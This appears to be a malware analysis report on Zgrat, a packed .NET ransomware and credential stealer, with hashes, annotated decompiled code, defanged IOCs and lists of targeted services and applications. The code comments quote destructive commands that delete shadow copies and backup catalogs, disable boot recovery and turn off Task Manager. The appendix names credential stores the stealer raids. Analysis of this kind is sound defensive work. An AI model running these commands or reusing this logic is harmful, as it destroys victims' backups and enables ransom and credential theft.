File Analysis - 2023:09:19

Files

1. "Zgrat.exe" (2F489F6462BA4887DEE89AA32AAD464D5933DC3F4913EC55456E13B28FC3C01F) [malicious]
2. "Zgrat_unpacked.exe" (756accf406812e80f79dfdddf282b4c26a5fbedb81a0e6be9b7d0a557b14b218) [malicious]

SUMMARY

Zgrat.exe (Zgrat) is .NET/Mono executable that is packed with .Net REACTOR. It can be easily unpacked with NETReactorSlayer to make reverse engineering less time consuming. Zgrat contains the RedEngery information stealing modules alongside a ransomware act which can allow the virus to both steal sensitive customer information as well as encrypt computer files for ransom. Upon successful infection, a ransom note is placed into every folder with encrypted documents and displayed to the user.

STATIC ANALYSIS

The packed sample can be unpacked with NETReactorSlayer and then easily reverse engineered statically with no need for execution. The malware first checks for an initial infection of presumably the stealer module and sets a flag accordingly. A method in Class51 is called which continues to call other methods from this class, which is the main working class for all the ransomware functions. A more in-depth review of the method is below. Pay attention to the annotated code comments provided by REM.

private static void Main()
    {
      try
      {
        Functions.Wait();                       // Wait approximately 10 seconds
        Functions.HideFile(null);               // Hides the executable by setting FileAttributes.Hidden & FileAttributes.System
        if (File.Exists(Config.Temp + "C.bin")) // Look for an existing infection of "C.bin" in TEMP
        {
          Config.Stage3 = "True";
        }
        Report.Start();                          // Enumerate directories and files

        Class51.smethod_0();                     // See description below
        Functions.GetIP(Config.client, null);    // Notify C2 that infection happened.
        Functions.Kill(Application.StartupPath); // delete and kill the virus
      }
      catch (Exception ex)
      {
        Class51.smethod_0();                     // Encrypt files, drop ransome note
        Functions.GetIP(Config.client, "Exception:" + Convert.ToString(ex.Message)); // Notify C2 of infection
        Functions.Melt();                        // Clean up. Remove evidence.
        Functions.Kill(Application.StartupPath); // Kill application
      }
    }

Method Main()

Class51 is called in Main() to handle specific malware behaviors. The function Class51.smethod_0() contains the following subroutines to achieve the objectives as noted in the annotated adjacent code comments.

public static void smethod_0()
    {
      Class51.smethod_17(); // Decrypt string ".vssadmin delete shadows /all /quiet & wmic shadowcopy delete" - YARA
      Class51.smethod_18(); // Decrypt string "bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" - YARA recoveryenabled no"
      Class51.smethod_19(); // "cmd.exe /C wbadmin delete catalog -quiet -hidden" Deletes the backup catalog on the local computer.
      Class51.smethod_20(); // Disable Taskmanager via key = CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                            // key.SetValue("DisableTaskMgr", "1")
      Class51.smethod_21(); // Stop services from "KILLED SERVICES" list
      Class51.smethod_12(); // Enumerate files on target system, encrypt and ransome
      Class51.smethod_15(); // Display ransome note from C:\Users\User\AppDataRoadmin\read_it.txt
      Class51.smethod_22(Class51.string_3); // Set wallpaper to ransome note
      Config.Stage2 = "True"; // Ransomware is stage2??? Weird that this isn't in a try/catch statement.
    }

Method Class51.smethod_0

Functions.GetIP()

Builds victim information into user-agent string. On our machine is was: " User: Tim AV: Windows Defender. STM=False RSM=True RZ=False Version:1.25(5): TR.". In this, the value 'AV' is for AntiVirus. 'STM' may be for "Stealer Malware" (on our system, this flag was not set because "C.Bin" was not present. 'RSM' is likely "Ransomware Malware" which was true because it executed successfully. We never saw the 'RZ' flag get assigned.

Encryption

Happens with RSACryptoServiceProvider. Files are encrypted and then given a file extension with 4 random characters. A new key is derived for each file and encrypted in CBC mode.

Killed Services

The malware will attempt to kill the following services before encrypting files:
"BackupExecAgentBrowser", "BackupExecDiveciMediaService", "BackupExecJobEngine", "BackupExecManagementService", "vss", "sql", "svc$", "memtas", "sophos", "veeam", "backup", "GxVss", "GxBlr", "GxFWD", "GxCVD", "GxCIMgr", "DefWatch", "ccEvtMgr", "SavRoam", "RTVscan", "QBFCService", "Intuit.QuickBooks.FCS", "YooBackup", "YooIT", "zhudongfangyu", "sophos", "stc_raw_agent", "VSNAPVSS", "QBCFMonitorService", "VeeamTransportSvc", "VeeamDeploymentService", "VeeamNFSSvc", "veeam", "PDVFSService", "BackupExecVSSProvider", "BackupExecAgentAccelerator", "BackupExecRPCService", "AcrSch2Svc", "AcronisAgent", "CASAD2DWebSvc", "CAARCUpdateSvc", "TeamViewer"

IOCs

urls

1. "hxxps://2no[.]co/1ZahL4[.]ico"

domains

1. "hxxps://2no[.]co"

emails

1. "GEORGER1212@proton[.]me"

files

1. "%AppData%/Temp/C.bin"

APPENDIX

Info Stealer Modules Contained in RedEnergy.Report.Grab() method. Any information stolen from these programs in archived into a zip folder and encrypted with the function Class24.smethod_0:

Service.txt
Game\\BattleNET
Game\\Vime
Game\\Uplay
Messenger\\Viber
Messenger\\Telegram
Messenger\\Wickr_Me
Messenger\\Wickr_Pro
Messenger\\Element
Messenger\\Skype\\Local Storage
Messenger\\Signal
Messenger\\Pidgin
Messenger\\Tox
Messenger\\Outlook
Messenger\\QQ
Messenger\\Discord
Mail\\yMail2
Mail\\Foxmail
Mail\\DeskSoft\\CheckMail
TrulyMail
Pocomail
yMail
Far
SuperPutty
Lunascape
Syncovery
1Password
Ipswitch
ExpanDrive
KeePass
NordPass
\\VPN\\OpenVPN
\\VPN\\ProtonVPN
FTPShell
smethod_0
FTPBox
FTP_Now
NexusFile
Staff_FTP
BlazeFtp
GoFTP
Estsoft
smethod_1
smethod_2
WS_FTP
smethod_3
UltraFXP
NetDrive2
GetAutomize14
JaSFtp14
smethod_4
Odin_Secure_FTP_Expert
Enpass
SftpNetDrive
Cyberduck
FreshFTP
mSecure
BitKinex
smethod_5
GetFileZilla